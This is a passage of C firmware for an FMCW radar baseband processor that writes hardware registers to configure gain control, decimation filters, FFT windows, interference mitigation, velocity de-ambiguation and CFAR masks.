BB_WRITE_REG(bb_hw, AGC_GAIN_MIN , float_to_fx((float)min_power_db, 10, 9, true));
BB_WRITE_REG(bb_hw, AGC_DB_TARGET , float_to_fx((float)adc_target_db, 8, 7, false));
gain_level_num = max_power_db - min_power_db + 1;
uint32_t lowest_gain_code[AFE_STAGE_NUM];
uint32_t AGC_final_CD_entry = 0, offset_address = 0;
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_COD);
lowest_gain_code[0]=level_temp[0];
lowest_gain_code[1]=level_temp[2];
lowest_gain_code[2]=level_temp[4];
lowest_gain_code[3]=level_temp[6];
for (int p = min_power_db; p <= max_power_db; p = p + power_step) {
AGC_final_CD_entry = 0;
antpower2gain (final_temp,
lowest_gain_code,
p,
adc_target_db,
thres_db,
AGC_LNA_gain_table,
AGC_TIA_gain_table,
AGC_VGA1_gain_table,
AGC_VGA2_gain_table,
LNA_gain_bit,
TIA_gain_bit,
VGA1_gain_bit,
VGA2_gain_bit
);
AGC_final_CD_entry = agc_cdgn(AGC_LNA_gain_table,AGC_TIA_gain_table,AGC_VGA1_gain_table,AGC_VGA2_gain_table,final_temp);
baseband_write_mem_table(bb_hw, offset_address, AGC_final_CD_entry);
offset_address = offset_address+1;
}
// added match with RTL
AGC_final_CD_entry = agc_cdgn(AGC_LNA_gain_table,AGC_TIA_gain_table,AGC_VGA1_gain_table,AGC_VGA2_gain_table,lowest_gain_code);
for (int p = 0; p < (AGC_FNL_LEVEL_NUM-gain_level_num); p++) {
baseband_write_mem_table(bb_hw, offset_address, AGC_final_CD_entry);
offset_address = offset_address+1;
}
baseband_switch_mem_access(bb_hw, old);
} else {
agc_mode_with_fixgain(bb_hw);
}
//IRQ related register
BB_WRITE_REG(bb_hw,AGC_IRQ_ENA,0xFFF);
BB_WRITE_REG(bb_hw,AGC_CHCK_ENA,0x1);
//agc align
BB_WRITE_REG(bb_hw,AGC_ALIGN_EN,cfg->agc_align_en);
//adc compensation
BB_WRITE_REG(bb_hw,AGC_CMPN_EN,cfg->adc_comp_en);
BB_WRITE_REG(bb_hw,AGC_CMPN_LVL,2);
BB_WRITE_REG(bb_hw,AGC_CMPN_ALIGN_EN,1);
//set up agc radio part
fmcw_radio_agc_setup(&bb->radio);
fmcw_radio_agc_enable(&bb->radio,true);
}
static void baseband_sam_init(baseband_hw_t *bb_hw)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
#ifdef CHIP_ALPS_B
BB_WRITE_REG(bb_hw, SAM_FILT_CNT, cfg->dec_factor - 1);
#elif defined(CHIP_ALPS_MP)
BB_WRITE_REG(bb_hw, SYS_SIZE_FLT, cfg->dec_factor - 1);
#endif
uint32_t samp_skip = ceil(cfg->adc_sample_start * cfg->adc_freq) / cfg->dec_factor;
samp_skip = (samp_skip % 2 == 0) ? samp_skip : (samp_skip - 1);
uint32_t samp_used = ceil((cfg->adc_sample_end - cfg->adc_sample_start) * cfg->adc_freq) / cfg->dec_factor;
samp_used = (samp_used % 2 == 0) ? samp_used : (samp_used + 1);
samp_used = samp_used > cfg->rng_nfft ? cfg->rng_nfft : samp_used;
uint8_t DEC_A1 [CASCD_SOS_NUM] = { 0x0, 0x0, 0x0, 0x0 };
uint8_t DEC_A2 [CASCD_SOS_NUM] = { 0x0, 0x0, 0x0, 0x0 };
uint8_t DEC_B1 [CASCD_SOS_NUM] = { 0x0, 0x0, 0x0, 0x0 };
uint8_t DEC_S1 [CASCD_SOS_NUM] = { 0x0, 0x0, 0x0, 0x0 };
uint32_t DEC_SCL = DEC_SCL_DFLT; // Default scaler
uint8_t DEC_SHF = DEC_SHF_DFLT; // Default left shift bits
uint8_t dec_fac = cfg->dec_factor;
// dec_fac = 1; // Users can set dec_fac = 1, if do not use IIR filters
uint8_t cascd_sos_ind = 0;
if (dec_fac == 2) {
for (cascd_sos_ind = 0; cascd_sos_ind < CASCD_SOS_NUM; cascd_sos_ind++ ) {
DEC_A1[cascd_sos_ind] = DEC_2_A1[cascd_sos_ind];
DEC_A2[cascd_sos_ind] = DEC_2_A2[cascd_sos_ind];
DEC_B1[cascd_sos_ind] = DEC_2_B1[cascd_sos_ind];
DEC_S1[cascd_sos_ind] = DEC_2_S1[cascd_sos_ind];
DEC_SCL = DEC_2_SCL;
}
} else if(dec_fac==3) {
for (cascd_sos_ind = 0; cascd_sos_ind < CASCD_SOS_NUM; cascd_sos_ind++ ) {
DEC_A1[cascd_sos_ind] = DEC_3_A1[cascd_sos_ind];
DEC_A2[cascd_sos_ind] = DEC_3_A2[cascd_sos_ind];
DEC_B1[cascd_sos_ind] = DEC_3_B1[cascd_sos_ind];
DEC_S1[cascd_sos_ind] = DEC_3_S1[cascd_sos_ind];
DEC_SCL = DEC_3_SCL;
}
} else if (dec_fac > 3 && dec_fac <= 7) {
for (cascd_sos_ind = 0; cascd_sos_ind < CASCD_SOS_NUM; cascd_sos_ind++ ) {
DEC_A1[cascd_sos_ind] = DEC_4_A1[cascd_sos_ind];
DEC_A2[cascd_sos_ind] = DEC_4_A2[cascd_sos_ind];
DEC_B1[cascd_sos_ind] = DEC_4_B1[cascd_sos_ind];
DEC_S1[cascd_sos_ind] = DEC_4_S1[cascd_sos_ind];
DEC_SCL = DEC_4_SCL;
}
} else if (dec_fac > 7) {
for (cascd_sos_ind = 0; cascd_sos_ind < CASCD_SOS_NUM; cascd_sos_ind++ ) {
DEC_A1[cascd_sos_ind] = DEC_8_A1[cascd_sos_ind];
DEC_A2[cascd_sos_ind] = DEC_8_A2[cascd_sos_ind];
DEC_B1[cascd_sos_ind] = DEC_8_B1[cascd_sos_ind];
DEC_S1[cascd_sos_ind] = DEC_8_S1[cascd_sos_ind];
DEC_SCL = DEC_8_SCL;
}
}
#ifdef CHIP_ALPS_B
BB_WRITE_REG(bb_hw, SAM_SINKER , SAM_SINKER_FFT ); /* direct or buffer */
BB_WRITE_REG(bb_hw, SAM_OFFSET , 0 );
BB_WRITE_REG(bb_hw, SAM_F_0_S1 , DEC_S1 [0] );
BB_WRITE_REG(bb_hw, SAM_F_0_B1 , DEC_B1 [0] );
BB_WRITE_REG(bb_hw, SAM_F_0_A1 , DEC_A1 [0] );
BB_WRITE_REG(bb_hw, SAM_F_0_A2 , DEC_A2 [0] );
BB_WRITE_REG(bb_hw, SAM_F_1_S1 , DEC_S1 [1] );
BB_WRITE_REG(bb_hw, SAM_F_1_B1 , DEC_B1 [1] );
BB_WRITE_REG(bb_hw, SAM_F_1_A1 , DEC_A1 [1] );
BB_WRITE_REG(bb_hw, SAM_F_1_A2 , DEC_A2 [1] );
BB_WRITE_REG(bb_hw, SAM_F_2_S1 , DEC_S1 [2] );
BB_WRITE_REG(bb_hw, SAM_F_2_B1 , DEC_B1 [2] );
BB_WRITE_REG(bb_hw, SAM_F_2_A1 , DEC_A1 [2] );
BB_WRITE_REG(bb_hw, SAM_F_2_A2 , DEC_A2 [2] );
BB_WRITE_REG(bb_hw, SAM_F_3_S1 , DEC_S1 [3] );
BB_WRITE_REG(bb_hw, SAM_F_3_B1 , DEC_B1 [3] );
BB_WRITE_REG(bb_hw, SAM_F_3_A1 , DEC_A1 [3] );
BB_WRITE_REG(bb_hw, SAM_F_3_A2 , DEC_A2 [3] );
BB_WRITE_REG(bb_hw, SAM_FNL_SHF , DEC_SHF );
BB_WRITE_REG(bb_hw, SAM_FNL_SCL , DEC_SCL );
BB_WRITE_REG(bb_hw, SAM_FORCE , 0 );
BB_WRITE_REG(bb_hw, SAM_DBG_SRC , SAM_DBG_SRC_BF ); /* before or after down sampling */
BB_WRITE_REG(bb_hw, SAM_SIZE_DBG_BGN, samp_skip - 3 );
BB_WRITE_REG(bb_hw, SAM_SIZE_DBG_END, samp_skip +samp_used - 3);
BB_WRITE_REG(bb_hw, SAM_FRMT_ADC , BB_REG_SAM_FRMT_ADC_4IN4);
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_WIN);
#elif defined(CHIP_ALPS_MP)
BB_WRITE_REG(bb_hw, SAM_SINKER , SAM_SINKER_FFT ); /* direct or buffer */
BB_WRITE_REG(bb_hw, SAM_F_0_S1 , DEC_S1 [0] );
BB_WRITE_REG(bb_hw, SAM_F_0_B1 , DEC_B1 [0] );
BB_WRITE_REG(bb_hw, SAM_F_0_A1 , DEC_A1 [0] );
BB_WRITE_REG(bb_hw, SAM_F_0_A2 , DEC_A2 [0] );
BB_WRITE_REG(bb_hw, SAM_F_1_S1 , DEC_S1 [1] );
BB_WRITE_REG(bb_hw, SAM_F_1_B1 , DEC_B1 [1] );
BB_WRITE_REG(bb_hw, SAM_F_1_A1 , DEC_A1 [1] );
BB_WRITE_REG(bb_hw, SAM_F_1_A2 , DEC_A2 [1] );
BB_WRITE_REG(bb_hw, SAM_F_2_S1 , DEC_S1 [2] );
BB_WRITE_REG(bb_hw, SAM_F_2_B1 , DEC_B1 [2] );
BB_WRITE_REG(bb_hw, SAM_F_2_A1 , DEC_A1 [2] );
BB_WRITE_REG(bb_hw, SAM_F_2_A2 , DEC_A2 [2] );
BB_WRITE_REG(bb_hw, SAM_F_3_S1 , DEC_S1 [3] );
BB_WRITE_REG(bb_hw, SAM_F_3_B1 , DEC_B1 [3] );
BB_WRITE_REG(bb_hw, SAM_F_3_A1 , DEC_A1 [3] );
BB_WRITE_REG(bb_hw, SAM_F_3_A2 , DEC_A2 [3] );
BB_WRITE_REG(bb_hw, SAM_FNL_SHF , DEC_SHF );
BB_WRITE_REG(bb_hw, SAM_FNL_SCL , DEC_SCL );
BB_WRITE_REG(bb_hw, SAM_FORCE , 0 );
BB_WRITE_REG(bb_hw, SAM_DBG_SRC , SAM_DBG_SRC_BF ); /* before or after down sampling */
BB_WRITE_REG(bb_hw, SAM_SIZE_DBG_BGN, samp_skip - 3 );
BB_WRITE_REG(bb_hw, SAM_SIZE_DBG_END, samp_skip +samp_used - 3);
//BB_WRITE_REG(bb_hw, SAM_FRMT_ADC , BB_REG_SAM_FRMT_ADC_4IN4); // No such a register for ALPS_FM
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_WIN);
#endif
// fft range window init
gen_window(cfg->rng_win, samp_used, cfg->rng_win_params[0], cfg->rng_win_params[1], cfg->rng_win_params[2]);
int i = 0;
uint16_t rng_fft_offset = (bb_hw->frame_type_id) * (1 << (SYS_SIZE_RNG_WD - 1));
/* store whole range window */
/* samp_used --> constrained by 2n (even, refer to RTL) */
/* samp_used/2 --> two coes in a memory entry(address space) */
for(i = 0; i < samp_used/2; i++) {
uint32_t coe0 = get_win_coeff(2*i);
uint32_t coe1 = get_win_coeff(2*i+1);
baseband_write_mem_table(bb_hw, rng_fft_offset * 2, (coe1<<16)|coe0); //two coes in a word
rng_fft_offset = rng_fft_offset + 1;
}
baseband_switch_mem_access(bb_hw, old);
}
static void baseband_spk_init(baseband_hw_t *bb_hw)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
BB_WRITE_REG(bb_hw, SAM_SPK_RM_EN, cfg->spk_en & 0x1);
if (!cfg->spk_en)
return;
BB_WRITE_REG(bb_hw, SAM_SPK_CFM_SIZE, cfg->spk_buf_len & 0xf);
BB_WRITE_REG(bb_hw, SAM_SPK_SET_ZERO, cfg->spk_set_zero & 0x1);
BB_WRITE_REG(bb_hw, SAM_SPK_OVER_NUM, cfg->spk_ovr_num & 0xf);
BB_WRITE_REG(bb_hw, SAM_SPK_THRES_DBL, cfg->spk_thres_dbl & 0x1);
BB_WRITE_REG(bb_hw, SAM_SPK_MIN_MAX_SEL, cfg->spk_min_max_sel & 0x1);
}
static void baseband_fft_init(baseband_hw_t *bb_hw)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
BB_WRITE_REG(bb_hw, FFT_SHFT_RNG , cfg->rng_fft_scalar);
BB_WRITE_REG(bb_hw, FFT_SHFT_VEL , cfg->vel_fft_scalar);
BB_WRITE_REG(bb_hw, FFT_DBPM_ENA , !( (cfg->anti_velamb_en) || VEL_DEAMB_MF_EN || CUSTOM_VEL_DEAMB_MF) );
BB_WRITE_REG(bb_hw, FFT_DBPM_DIR , 0); // positive compensation
BB_WRITE_REG(bb_hw, FFT_NO_WIN , 0 );
BB_WRITE_REG(bb_hw, FFT_NVE_MODE , cfg->fft_nve_bypass);
// velcocity fft window init
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_WIN);
uint32_t chip_used = cfg->nchirp / cfg->nvarray;
uint32_t chip_buf = chip_used > cfg->vel_nfft ? cfg->vel_nfft : chip_used;
float win_factor = gen_window(cfg->vel_win, chip_buf, cfg->vel_win_params[0], cfg->vel_win_params[1], cfg->vel_win_params[2]);
int i = 0;
uint16_t vel_fft_offset = (bb_hw->frame_type_id) * (1 << (SYS_SIZE_VEL_WD - 2));
/* chip_buf --> constrained by 2n (even, refer to RTL) */
/* chip_buf/2 --> store half size of window coefficients since the window symemtric*/
/* chip_buf/2 + 1 --> nchirps/2 may be a odd value, so add 1 for next "/2" */
/* (chip_buf/2 + 1)/2 --> two coes in a memory entry(address space) */
for(i = 0; i < (chip_buf/2 + 1)/2; i++) {
uint32_t coe0 = get_win_coeff(2*i);
uint32_t coe1 = get_win_coeff(2*i+1);
baseband_write_mem_table(bb_hw, vel_fft_offset * 2 + 1, (coe1<<16)|coe0); //two coes in a word
vel_fft_offset = vel_fft_offset + 1;
}
baseband_switch_mem_access(bb_hw, old);
float nve_scl_0_fl = 1.0 / chip_buf;
float nve_scl_1_fl = win_factor / (cfg->nvarray * MAX_NUM_RX);
float nve_default_value = cfg->fft_nve_default_value;
uint32_t nve_scl_0_fx = float_to_fl(nve_scl_0_fl, 6, 0, false, 3, false);
uint32_t nve_scl_1_fx = float_to_fl(nve_scl_1_fl, 6, 0, false, 3, false);
BB_WRITE_REG(bb_hw, FFT_NVE_SCL_0 , nve_scl_0_fx);
BB_WRITE_REG(bb_hw, FFT_NVE_SFT , cfg->fft_nve_shift);
BB_WRITE_REG(bb_hw, FFT_ZER_DPL_ENB , cfg->zero_doppler_cancel);
BB_WRITE_REG(bb_hw, FFT_NVE_SCL_1 , nve_scl_1_fx);
BB_WRITE_REG(bb_hw, FFT_NVE_CH_MSK , cfg->fft_nve_ch_mask);
BB_WRITE_REG(bb_hw, FFT_NVE_DFT_VALUE, float_to_fl(nve_default_value, 15, 1, false, 5, false));
}
static void baseband_interference_init(baseband_hw_t *bb_hw)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
uint32_t ant_int_en = cfg->freq_hopping_on ? 1 : 0;
ant_int_en |= cfg->chirp_shifting_on ? 2 : 0;
ant_int_en |= cfg->phase_scramble_on ? 4 : 0;
BB_WRITE_REG(bb_hw, FFT_DINT_ENA , ant_int_en);
/* phase scrambling is compensated in FFT */
BB_WRITE_REG(bb_hw, SAM_DINT_ENA, 0);
BB_WRITE_REG(bb_hw, FFT_DINT_DAT_FH, cfg->freq_hopping_init_state);
BB_WRITE_REG(bb_hw, FFT_DINT_MSK_FH, cfg->freq_hopping_tap);
BB_WRITE_REG(bb_hw, FFT_DINT_DAT_CS, cfg->chirp_shifting_init_state);
BB_WRITE_REG(bb_hw, FFT_DINT_MSK_CS, cfg->chirp_shifting_init_tap);
BB_WRITE_REG(bb_hw, FFT_DINT_DAT_PS, cfg->phase_scramble_init_state);
BB_WRITE_REG(bb_hw, FFT_DINT_MSK_PS, cfg->phase_scramble_tap);
BB_WRITE_REG(bb_hw, SAM_DINT_DAT, cfg->phase_scramble_init_state);
BB_WRITE_REG(bb_hw, SAM_DINT_MSK, cfg->phase_scramble_tap);
uint32_t dec_factor = cfg->dec_factor;
float Tu = cfg->fmcw_chirp_rampup; /* us */
uint32_t Fs = cfg->adc_freq; /* MHz */
float B = cfg->fmcw_bandwidth; /* MHz */
float fh_deltaf = cfg->freq_hopping_deltaf; /* MHz */
float cs_delay = cfg->chirp_shifting_delay; /* us */
uint32_t rng_nfft = cfg->rng_nfft;
complex_t fh_cpx_f;
complex_t cs_cpx_f;
if (cfg->freq_hopping_on) {
fh_cpx_f.r = cos(2 * M_PI * Fs / dec_factor * fh_deltaf * Tu / B / rng_nfft);
fh_cpx_f.i = -sin(2 * M_PI * Fs / dec_factor * fh_deltaf * Tu / B / rng_nfft);
BB_WRITE_REG(bb_hw, FFT_DINT_COE_FH, complex_to_cfx(&fh_cpx_f, 14, 1, true));
}
if (cfg->chirp_shifting_on) {
cs_cpx_f.r = cos(2 * M_PI * Fs / dec_factor * cs_delay / rng_nfft);
cs_cpx_f.i = sin(2 * M_PI * Fs / dec_factor * cs_delay / rng_nfft);
BB_WRITE_REG(bb_hw, FFT_DINT_COE_CS, complex_to_cfx(&cs_cpx_f, 14, 1, true));
}
if (cfg->freq_hopping_on && cfg->chirp_shifting_on) {
complex_t fc_cpx_f;
cmult(&fh_cpx_f, &cs_cpx_f, &fc_cpx_f);
BB_WRITE_REG(bb_hw, FFT_DINT_COE_FC, complex_to_cfx(&fc_cpx_f, 14, 1, true));
}
if (cfg->phase_scramble_on) {
complex_t ps_cpx_f;
for (int idx = 0; idx < 4; idx++) {
ps_cpx_f.r = cos(cfg->phase_scramble_comp[idx] * M_PI / 180);
ps_cpx_f.i = sin(cfg->phase_scramble_comp[idx] * M_PI / 180);
baseband_write_reg(bb_hw,
(uint32_t)(((uint32_t *)BB_REG_FFT_DINT_COE_PS_0) + idx),
complex_to_cfx(&ps_cpx_f, 14, 1, true));
}
}
/* configure the way of resetting xor-chain state*/
baseband_interference_mode_set(bb_hw);
}
static void baseband_velamb_cd_init(baseband_hw_t *bb_hw)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
radar_sys_params_t * sys_param = (radar_sys_params_t*)&(CONTAINER_OF(bb_hw, baseband_t, bb_hw)->sys_params);
uint32_t dec_factor = cfg->dec_factor;
float Tr = cfg->fmcw_chirp_period; /* us */
float Tu = cfg->fmcw_chirp_rampup; /* us */
uint32_t Fs = cfg->adc_freq; /* MHz */
float B = cfg->fmcw_bandwidth; /* MHz */
float delay = cfg->anti_velamb_delay;
int32_t q_min = cfg->anti_velamb_qmin;
uint32_t nvarray = cfg->nvarray;
uint32_t nfft1 = cfg->rng_nfft;
uint32_t nfft2 = cfg->vel_nfft;
float fc = cfg->fmcw_startfreq;
uint32_t samp_used = ceil((cfg->adc_sample_end - cfg->adc_sample_start) * cfg->adc_freq) / cfg->dec_factor;
samp_used = (samp_used % 2 == 0) ? samp_used : (samp_used + 1);
samp_used = samp_used > cfg->rng_nfft ? cfg->rng_nfft : samp_used;
uint32_t Td = (uint32_t)round((nvarray + 1) * Tr + delay);
uint32_t q_num = MIN(32, Td / compute_gcd((uint32_t)round(Tr + delay), Td));
if (cfg->anti_velamb_en) {
/* enabling velamb-CD mode */
BB_WRITE_REG(bb_hw, SYS_TYPE_FMCW, 1);
/* compensate MIMO phases using q calculated by velamb-CD */
BB_WRITE_REG(bb_hw, DOA_DAMB_TYP, 1);
} else if ( VEL_DEAMB_MF_EN || CUSTOM_VEL_DEAMB_MF ) {
delay = 0; // used when configure SAM_DAMB_PRD
Td = (uint32_t)round(nvarray * Tr); // used when configure DOA_DAMB_FRDTRA and DOA_DAMB_FDTR
q_num = MIN(32, Td / compute_gcd((uint32_t)round(Tr + delay), Td)); // Is it useful for multi-frame vel_deamb?
/* disabling velamb-CD mode */
BB_WRITE_REG(bb_hw, SYS_TYPE_FMCW, 0);
/* choose CPU calculated q to compensate MIMO phases */
BB_WRITE_REG(bb_hw, DOA_DAMB_TYP, 2);
} else {
delay = 0;
/* disabling velamb-CD mode */
BB_WRITE_REG(bb_hw, SYS_TYPE_FMCW, 0);
/* bypass compensate MIMO phases */
BB_WRITE_REG(bb_hw, DOA_DAMB_TYP, 0);
}
/* samples of extra chirp plus delay */
BB_WRITE_REG(bb_hw, SAM_DAMB_PRD, (uint32_t)round((Tr + delay) * Fs) - 1);
/* q number */
BB_WRITE_REG(bb_hw, DOA_DAMB_IDX_LEN, q_num - 1);
/* minimum q */
BB_WRITE_REG(bb_hw, DOA_DAMB_IDX_BGN, q_min);
/* frd*(Tr+a) & fd*Tr */
float frd_tr_a = 2.0 * (Tr + delay) / Td / nfft2;
float frd_tr = TWLUTSZ * Tr / (Td * nfft2);
BB_WRITE_REG(bb_hw, DOA_DAMB_FRDTRA, float_to_fx(frd_tr_a, 15, -2, false));
BB_WRITE_REG(bb_hw, DOA_DAMB_FDTR, float_to_fx(frd_tr, 16, 4, false));
uint32_t n_half = samp_used >> 1;
float vel_comp = B * n_half * nfft2 / (fc * Tu * Fs / dec_factor * 1000); /* 1000: unit adjust */
BB_WRITE_REG(bb_hw, DOA_DAMB_VELCOM, float_to_fx(vel_comp, 16, 1, false));
if (cfg->high_vel_comp_en) {
if (cfg->high_vel_comp_method == 1) {
/* high velocity compensation by user defined value */
sys_param->vel_comp = cfg->vel_comp_usr;
sys_param->rng_comp = cfg->rng_comp_usr;
} else {
/* compensate automatically */
sys_param->vel_comp = vel_comp;
uint32_t win2sz = cfg->nchirp / cfg->nvarray;
win2sz = win2sz < nfft2 ? win2sz : nfft2;
sys_param->rng_comp = B * (win2sz >> 1) * nfft1 / (fc * Tu * Fs / dec_factor * 1000); /* 1000: unit adjust */
}
} else {
sys_param->vel_comp = 0;
sys_param->rng_comp = 0;
}
/* Anchor Phase setting */
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_ANC);
uint32_t bank_idx = bb_hw->frame_type_id;
uint32_t bank_offset = bank_idx * 32; /* maximum 32 Qs, and each is stored in 4 Bytes memery */
for (int idx = 0; idx < q_num; idx++) {
int q = q_min + idx;
float anchor_phase = 2 * q * (Tr + delay) / Td;
while (anchor_phase >= 1)
anchor_phase -= 2;
while (anchor_phase < -1)
anchor_phase += 2;
baseband_write_mem_table(bb_hw, bank_offset + idx, float_to_fx(anchor_phase, 15, 2, true));
}
baseband_switch_mem_access(bb_hw, old);
}
//generate tx_order, each element in tx order represents which varray group are generated by the corresponding tx antenna
//generate new ant pose and ant phase compensation value by ant calib information
static bool gen_tx_order(baseband_hw_t *bb_hw, uint32_t patten[], uint32_t n_va, bool bpm_mode, int32_t tx_order[])
{
bool valid = true;
int8_t temp = 0;
uint32_t chirp_tx_mux[MAX_NUM_TX] = {0, 0, 0, 0}; /*chirp_tx_mux[i]:which txs transmit in chirp i*/
int num_tx = 0; //save the number of tx antennas which generate the same varray group
float x_pose[DOA_MAX_NUM_RX], y_pose[DOA_MAX_NUM_RX], phase_comp[DOA_MAX_NUM_RX]; //for computing new ant_pos and ant_comp, if there is more than 1 tx on in a same chirp
int tx_ant_idx = 0; //save the tx antenna index which generate a varray group
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
//initalize tx_order first
for (int tx = 0; tx < MAX_NUM_TX; tx++) { //tx loop
tx_order[tx] = 0;
}
//then initalize ant info
for (int vr = 0; vr < MAX_ANT_ARRAY_SIZE; vr++) {
ant_pos[vr].x = vr * 0.5;
ant_pos[vr].y = 0.0;
ant_comp_phase[vr] = 0.0;
}
if ((patten[0] == 0) && (patten[1] == 0) && (patten[2] == 0) && (patten[3] == 0))
return true;
if (bpm_mode == false)
valid = get_tdm_tx_antenna_in_chirp(patten, n_va-1, chirp_tx_mux);
else
temp = get_bpm_tx_antenna_in_chirp(patten, n_va-1, chirp_tx_mux);
if (temp == -1)
valid = false;
if (valid == false) {
return valid;
EMBARC_PRINTF("gen_tx_order invalid\n");
}
//generate tx_order, each element in tx order represents which varray group are generated by the corresponding tx antenna
for(int c = 0; c < n_va; c++) { //chirp loop
num_tx = 0;
for (int rx=0; rx < DOA_MAX_NUM_RX; rx++) {
x_pose[rx] = 0.0;
y_pose[rx] = 0.0;
phase_comp[rx] = 0.0;
}
for (int tx = 0; tx < MAX_NUM_TX; tx++) { //tx loop
if ((chirp_tx_mux[c] >> tx) & 0x1) {
tx_ant_idx = tx;
break;
}
}
for (int tx = 0; tx < MAX_NUM_TX; tx++) { //tx loop
if ((chirp_tx_mux[c] >> tx) & 0x1) {
num_tx++;
for (int rx=0; rx < DOA_MAX_NUM_RX; rx++) {
x_pose[rx] = cfg->ant_pos[tx*DOA_MAX_NUM_RX+rx].x + x_pose[rx];
y_pose[rx] = cfg->ant_pos[tx*DOA_MAX_NUM_RX+rx].y + y_pose[rx];
phase_comp[rx] = cfg->ant_comps[tx*DOA_MAX_NUM_RX+rx] + phase_comp[rx];
}
}
}
if (num_tx > 1) { //if this varray group are generated by more than one tx antenna, then update the calib info
for (int rx=0; rx < DOA_MAX_NUM_RX; rx++) {
ant_pos[tx_ant_idx*DOA_MAX_NUM_RX+rx].x = x_pose[rx]/num_tx;
ant_pos[tx_ant_idx*DOA_MAX_NUM_RX+rx].y = y_pose[rx]/num_tx;
ant_comp_phase[tx_ant_idx*DOA_MAX_NUM_RX+rx] = phase_comp[rx]/num_tx;
}
} else if (num_tx == 1) {
for (int rx=0; rx < DOA_MAX_NUM_RX; rx++) {
ant_pos[tx_ant_idx*DOA_MAX_NUM_RX+rx].x = cfg->ant_pos[tx_ant_idx*DOA_MAX_NUM_RX+rx].x;
ant_pos[tx_ant_idx*DOA_MAX_NUM_RX+rx].y = cfg->ant_pos[tx_ant_idx*DOA_MAX_NUM_RX+rx].y;
ant_comp_phase[tx_ant_idx*DOA_MAX_NUM_RX+rx] = cfg->ant_comps[tx_ant_idx*DOA_MAX_NUM_RX+rx];
}
}
tx_order[tx_ant_idx] = c+1; //after updata calib info, now we can think each varray group is generated by one antenna
}
return valid;
}
static uint16_t count_total_neighors(uint32_t mask[], uint32_t len)
{
uint16_t cnt = 0;
for(int i = 0; i < len; i++)
for(int j = 0; j < 32; j++)
if ((mask[i] >> j) & 0x1)
cnt++;
return cnt;
}
static void tx_group_mux(int32_t *tx_groups, uint32_t n_va, uint8_t ant_idx[])
{
uint8_t cnt = 0;
for(int n = 1; n <= n_va; n++) {
for(int t = 0; t < MAX_NUM_TX; t++) {
if (tx_groups[t] == n) { /*need to figure out which tx generate which rx array*/
for (int r = 0; r < DOA_MAX_NUM_RX; r++)
ant_idx[cnt * DOA_MAX_NUM_RX + r] = t * DOA_MAX_NUM_RX + r;
cnt = cnt + 1;
}
}
}
}
static void init_cfar_msk_per_grp(uint32_t * buf, uint32_t * region_cfg)
{
memset((char *)buf, 0, sizeof(uint32_t) * 4);
int cnf_idx = 0;
int buf_idx = 0;
int db_w_ramain_bits = 32;
uint32_t cfg_grp_p[CFAR_MAX_RECWIN_MSK_LEN_PERGRP];
memset((char *)cfg_grp_p, 0, sizeof(cfg_grp_p));
/* transpose to match rang and velocity dimension order */
for (uint32_t row = 0; row < CFAR_MAX_RECWIN_MSK_LEN_PERGRP; row++) {
uint32_t row_val = region_cfg[row];
for (uint32_t col = 0; col < CFAR_MAX_RECWIN_MSK_LEN_PERGRP; col++) {
uint32_t bit = (row_val >> col) & 0x01;
cfg_grp_p[col] |= (bit << (CFAR_MAX_RECWIN_MSK_LEN_PERGRP - row - 1));
}
}
while (cnf_idx < CFAR_MAX_RECWIN_MSK_LEN_PERGRP) {
if (db_w_ramain_bits >= CFAR_MAX_RECWIN_MSK_LEN_PERGRP) {
buf[buf_idx] |= cfg_grp_p[cnf_idx] << (db_w_ramain_bits - CFAR_MAX_RECWIN_MSK_LEN_PERGRP);
db_w_ramain_bits -= CFAR_MAX_RECWIN_MSK_LEN_PERGRP;
cnf_idx++;
if (db_w_ramain_bits == 0) {
buf_idx++;
db_w_ramain_bits = buf_idx < 3 ? 32 : 25;
}
} else {
/* when db_w_ramain_bits is less than CFAR_MAX_RECWIN_MSK_LEN_PERGRP (11) */
uint32_t remain_msk = ((1 << db_w_ramain_bits) - 1) << (CFAR_MAX_RECWIN_MSK_LEN_PERGRP - db_w_ramain_bits);
buf[buf_idx] |= (cfg_grp_p[cnf_idx] & remain_msk) >> (CFAR_MAX_RECWIN_MSK_LEN_PERGRP - db_w_ramain_bits);
uint32_t lower_half_len = CFAR_MAX_RECWIN_MSK_LEN_PERGRP - db_w_ramain_bits;
remain_msk = (1 << lower_half_len) - 1;
buf_idx++;
db_w_ramain_bits = buf_idx < 3 ? 32 : 25;
buf[buf_idx] |= (cfg_grp_p[cnf_idx] & remain_msk) << (db_w_ramain_bits - lower_half_len);
db_w_ramain_bits -= lower_half_len;
cnf_idx++;
}
}
}
static void set_prm_from_val(uint32_t ** prameter_reg_addr, uint32_t * param_len, uint32_t prm_idx,
uint32_t cfg_val, uint32_t grp_idx) {
uint32_t val_len = param_len[prm_idx];
uint32_t * reg_original_addr = prameter_reg_addr[prm_idx];
uint32_t val_num_per_prm = 32 / val_len;
int32_t tmp_grp_idx = 7 - grp_idx;
uint32_t prm_offset = tmp_grp_idx / val_num_per_prm;
uint32_t * reg_addr = reg_original_addr + prm_offset;
uint32_t region_msk = (1 << val_len) - 1;
cfg_val = cfg_val & region_msk;
tmp_grp_idx = ((tmp_grp_idx + val_num_per_prm) / val_num_per_prm) * val_num_per_prm - 1;
tmp_grp_idx = 7 - tmp_grp_idx;
if (tmp_grp_idx < 0)
tmp_grp_idx = 0;
uint32_t sh = 0;
while (tmp_grp_idx < grp_idx) {
sh += val_len;
tmp_grp_idx++;
}
uint32_t tmp_val = *reg_addr;
tmp_val |= cfg_val << sh;
*reg_addr = tmp_val;
#if ACC_BB_BOOTUP == 1
if (pre_acc_flag) {
